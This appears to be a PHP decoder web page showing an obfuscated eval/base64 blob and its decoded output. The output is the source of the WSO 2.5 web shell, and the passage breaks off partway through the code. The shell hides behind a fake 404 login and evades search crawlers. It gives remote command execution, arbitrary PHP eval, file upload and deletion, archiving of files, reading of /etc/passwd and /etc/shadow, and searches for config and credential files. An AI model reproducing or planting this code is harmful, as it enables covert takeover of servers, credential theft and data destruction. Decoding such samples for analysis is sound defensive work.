Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('HZzHkuNQdgV/ZXYzE1jAu5BCE/CW8JYbBbz3Hl8vlhbdm64iAbx3z8lkg/jP..
Decoded Output download
$auth_pass="6244da94938ddf690522f800d66587b7";$color="#df5";$default_action='FilesMan';$default_use_ajax=true;$default_charset='Windows-1251';if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/' .implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','2.5');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){die("<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at Port 80</address>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center> ");}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST['pass'])&&(md5($_POST['pass'])== $auth_pass))WSOsetcookie(md5($_SERVER['HTTP_HOST']),$auth_pass);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!= $auth_pass))wsoLogin();}if(strtolower(substr(PHP_OS,0,3))== "win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os == 'win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!= '/')$cwd .= '/';if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']=(bool)$default_use_ajax;if($os == 'win')$aliases=array("List Directory"=> "dir","Find index.php in current dir"=> "dir /s /w /b index.php","Find *config*.php in current dir"=> "dir /s /w /b *config*.php","Show active connections"=> "netstat -an","Show running services"=> "net start","User accounts"=> "net user","Show computers"=> "net view","ARP Table"=> "arp -a","IP Configuration"=> "ipconfig /all");else $aliases=array("List dir"=> "ls -lha","list file attributes on a Linux second extended file system"=> "lsattr -va","show opened ports"=> "netstat -an | grep -i listen","process status"=> "ps aux","Find"=> "","find all suid files"=> "find / -type f -perm -04000 -ls","find suid files in current dir"=> "find . -type f -perm -04000 -ls","find all sgid files"=> "find / -type f -perm -02000 -ls","find sgid files in current dir"=> "find . -type f -perm -02000 -ls","find config.inc.php files"=> "find / -type f -name config.inc.php","find config* files"=> "find / -type f -name \"config*\"","find config* files in current dir"=> "find . -type f -name \"config*\"","find all writable folders and files"=> "find / -perm -2 -ls","find all writable folders and files in current dir"=> "find . -perm -2 -ls","find all service.pwd files"=> "find / -type f -name service.pwd","find service.pwd files in current dir"=> "find . -type f -name service.pwd","find all .htpasswd files"=> "find / -type f -name .htpasswd","find .htpasswd files in current dir"=> "find . -type f -name .htpasswd","find all .bash_history files"=> "find / -type f -name .bash_history","find .bash_history files in current dir"=> "find . -type f -name .bash_history","find all .fetchmailrc files"=> "find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=> "find . -type f -name .fetchmailrc","Locate"=> "","locate httpd.conf files"=> "locate httpd.conf","locate vhosts.conf files"=> "locate vhosts.conf","locate proftpd.conf files"=> "locate proftpd.conf","locate psybnc.conf files"=> "locate psybnc.conf","locate my.conf files"=> "locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=> "locate cfg.php","locate conf.php files"=> "locate conf.php","locate config.dat files"=> "locate config.dat","locate config.php files"=> "locate config.php","locate config.inc files"=> "locate config.inc","locate config.inc.php"=> "locate config.inc.php","locate config.default.php files"=> "locate config.default.php","locate config* files "=> "locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=> "locate '.pwd'","locate .sql files"=> "locate '.sql'","locate .htpasswd files"=> "locate '.htpasswd'","locate .bash_history files"=> "locate '.bash_history'","locate .mysql_history files"=> "locate '.mysql_history'","locate .fetchmailrc files"=> "locate '.fetchmailrc'","locate backup files"=> "locate backup","locate dump files"=> "locate dump","locate priv files"=> "locate priv");function wsoHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];global $color;echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" .$_POST['charset'] ."'><title>" .$_SERVER['HTTP_HOST'] ." - WSO " .WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" .htmlspecialchars($GLOBALS['cwd']) ."';
var a_ = '" .htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" .htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" .((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" .((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" .((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" .addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!== false)$explink .= urlencode('Linux Kernel ' .substr($release,0,6));else $explink .= urlencode($kernel .' ' .substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";for($j=0;$j<=$i;$j++)$cwd_links .= $path[$j] .'/';$cwd_links .= "\")'>" .$path[$i] ."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as $item)$opt_charsets .= '<option value="' .$item .'" ' .($_POST['charset']==$item?'selected':'') .'>' .$item .'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['auth_pass']))$m['Logout']='Logout';$m['Self remove']='SelfRemove';$menu='';foreach($m as $k => $v)$menu .= '<th width="' .(int)(100/count($m)) .'%">[ <a href="#" onclick="g(\'' .$v .'\',null,\'\',\'\',\'\')">' .$k .'</a> ]</th>';$drives="";if($GLOBALS['os']== 'win'){foreach(range('c','z')as $drive)if(is_dir($drive .':\'))$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' .$drive .':/\')">[ ' .$drive .' ]</a> ';}echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' .($GLOBALS['os']== 'win'?'<br>Drives:':'') .'</span></td>' .'<td><nobr>' .substr(@php_uname(),0,120) .' <a href="' .$explink .'" target=_blank>[exploit-db.com]</a></nobr><br>' .$uid .' ( ' .$user .' ) <span>Group:</span> ' .$gid .' ( ' .$group .' )<br>' .@phpversion() .' <span>Safe mode:</span> ' .($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') .' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' .date('Y-m-d H:i:s') .'<br>' .wsoViewSize($totalSpace) .' <span>Free:</span> ' .wsoViewSize($freeSpace) .' (' .(int)($freeSpace/$totalSpace*100) .'%)<br>' .$cwd_links .' ' .wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\'' .$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>' .$drives .'</td>' .'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' .$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>' .@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>' .$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>' .'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' .$menu .'</tr></table><div style="margin:5">';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" .$GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("
",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out .= fread($f,1024);pclose($f);}return $out;}function wsoViewSize($s){if(is_int($s))$s=sprintf("%u",$s);if($s >= 1073741824)return sprintf('%1.2f',$s/1073741824) .' GB';elseif($s >= 1048576)return sprintf('%1.2f',$s/1048576) .' MB';elseif($s >= 1024)return sprintf('%1.2f',$s/1024) .' KB';else return $s .' B';}function wsoPerms($p){if(($p&0xC000)== 0xC000)$i='s';elseif(($p&0xA000)== 0xA000)$i='l';elseif(($p&0x8000)== 0x8000)$i='-';elseif(($p&0x6000)== 0x6000)$i='b';elseif(($p&0x4000)== 0x4000)$i='d';elseif(($p&0x2000)== 0x2000)$i='c';elseif(($p&0x1000)== 0x1000)$i='p';else $i='u';$i .=(($p&0x0100)?'r':'-');$i .=(($p&0x0080)?'w':'-');$i .=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i .=(($p&0x0020)?'r':'-');$i .=(($p&0x0010)?'w':'-');$i .=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i .=(($p&0x0004)?'r':'-');$i .=(($p&0x0002)?'w':'-');$i .=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return $i;}function wsoPermsColor($f){if(!@is_readable($f))return '<font color=#FF0000>' .wsoPerms(@fileperms($f)) .'</font>';elseif(!@is_writable($f))return '<font color=white>' .wsoPerms(@fileperms($f)) .'</font>';else return '<font color=#25ff00>' .wsoPerms(@fileperms($f)) .'</font>';}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false !==($filename=readdir($dh)))$files[]=$filename;return $files;}}function wsoWhich($p){$path=wsoEx('which ' .$p);if(!empty($path))return $path;return false;}function actionSecInfo(){wsoHeader();echo '<h1>Server security information</h1><div class=content>';function wsoSecParam($n,$v){$v=trim($v);if($v){echo '<span>' .$n .': </span>';if(strpos($v,"
")=== false)echo $v .'<br>';else echo '<pre class=ml1>' .$v .'</pre>';}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (" .mysql_get_client_info() .")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases',implode(', ',$temp));echo '<br>';if($GLOBALS['os']== 'nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo '<br>';$temp=array();foreach($userful as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders',implode(', ',$temp));echo '<br/>';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';if(isset($_POST['p2'],$_POST['p3'])&& is_numeric($_POST['p2'])&& is_numeric($_POST['p3'])){$temp="";for(;$_POST['p2']<= $_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp .= join(':',$uid) ."
";}echo '<br/>';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo '</div>';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"
\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']== 'info')){echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!<img[^>]+>!msiU',),array('','.e, .v, .h, .h th {$1}',''),$tmp);echo str_replace('<h1','<h2',$tmp) .'</div><br>';}echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' .(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'') .'</textarea><input type=submit value=Eval style="margin-top:5px">';echo ' <input type=checkbox name=ajax value=1 ' .($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX</form><pre id=PhpOutput style="' .(empty($_POST['p1'])?'display:none;':'') .'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo '</pre></div>';wsoFooter();}function actionFilesMan(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))echo "Can't upload file!";break;case 'mkdir':if(!@mkdir($_POST['p2']))echo "Can't create new dir";break;case 'delete':function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path .'/';$dh=opendir($path);while(($item=readdir($dh))!== false){$item=$path .$item;if((basename($item)== "..")||(basename($item)== "."))continue;$type=filetype($item);if($type == "dir")deleteDir($item);else@unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f']as $f){if($f == '..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else@unlink($f);}break;case 'paste':if($_COOKIE['act']== 'copy'){function copy_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']== 'move'){function move_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(@is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)@rename($_COOKIE['c'] .$f,$GLOBALS['cwd'] .$f);}elseif($_COOKIE['act']== 'zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f']as $f){if($f == '..')continue;if(@is_file($_COOKIE['c'] .$f))$zip->addFile($_COOKIE['c'] .$f,$f);elseif(@is_dir($_COOKIE['c'] .$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f .'/',FilesystemIterator::SKIP_DOTS));foreach($iterator as $key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']== 'unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f']as $f){if($zip->open($_COOKIE['c'] .$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']== 'tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv ' .escapeshellarg($_POST['p2']) .' ' .implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);break;default:if(!empty($_POST['p1'])){WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}break;}}wsoHeader();echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent === false){echo 'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" .($sort[1]?0:1) ."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" .($sort[1]?0:1) ."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" .($sort[1]?0:1) ."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" .($sort[1]?0:1) ."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=> $dirContent[$i],'path'=> $GLOBALS['cwd'] .$dirContent[$i],'modify'=> date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),'perms'=> wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'] .$dirContent[$i]),'owner'=> $ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=> $gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))$files[]=array_merge($tmp,array('type'=> 'file'));elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'link','link'=> readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'dir'));}$GLOBALS['sort']=$sort;function wsoCmp($a,$b){if($GLOBALS['sort'][0]!= 'size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"wsoCmp");usort($dirs,"wsoCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as $f){echo '<tr' .($l?' class=l1':'') .'><td><input type=checkbox name="f[]" value="' .urlencode($f['name']) .'" class=chkbx></td><td><a href=# onclick="' .(($f['type']=='file')?'g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'view\')">' .htmlspecialchars($f['name']):'g(\'FilesMan\',\'' .$f['path'] .'\');" ' .(empty($f['link'])?'':"title='{$f['link']}'") .'><b>[ ' .htmlspecialchars($f['name']) .' ]</b>') .'</a></td><td>' .(($f['type']=='file')?wsoViewSize($f['size']):$f['type']) .'</td><td>' .$f['modify'] .'</td><td>' .$f['owner'] .'/' .$f['group'] .'</td><td><a href=# onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\',\'chmod\')">' .$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'touch\')">T</a>' .(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'download\')">D</a>':'') .'</td></tr>';$l=$l?0:1;}echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";echo "<option value='tar'>Compress (tar.gz)</option>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo "<option value='paste'>Paste / Compress</option>";echo "</select> ";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']== 'zip')||($_COOKIE['act']== 'tar')))echo "file name: <input type=text name=p2 value='wso_" .date("Ymd_His") ."." .($_COOKIE['act']== 'zip'?'zip':'tar.gz') ."'> ";echo "<input type='submit' value='>>'></td></tr></form></table></div>";wsoFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i] .$p[$i+1]));}return $r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%' .dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=> 'base64_encode','Base64 decode'=> 'base64_decode','Url encode'=> 'urlencode','Url decode'=> 'urldecode','Full urlencode'=> 'full_urlencode','md5 hash'=> 'md5','sha1 hash'=> 'sha1','crypt'=> 'crypt','CRC32'=> 'crc32','ASCII to HEX'=> 'ascii2hex','HEX to ASCII'=> 'hex2ascii','HEX to DEC'=> 'hexdec','HEX to BIN'=> 'hex2bin','DEC to HEX'=> 'dechex','DEC to BIN'=> 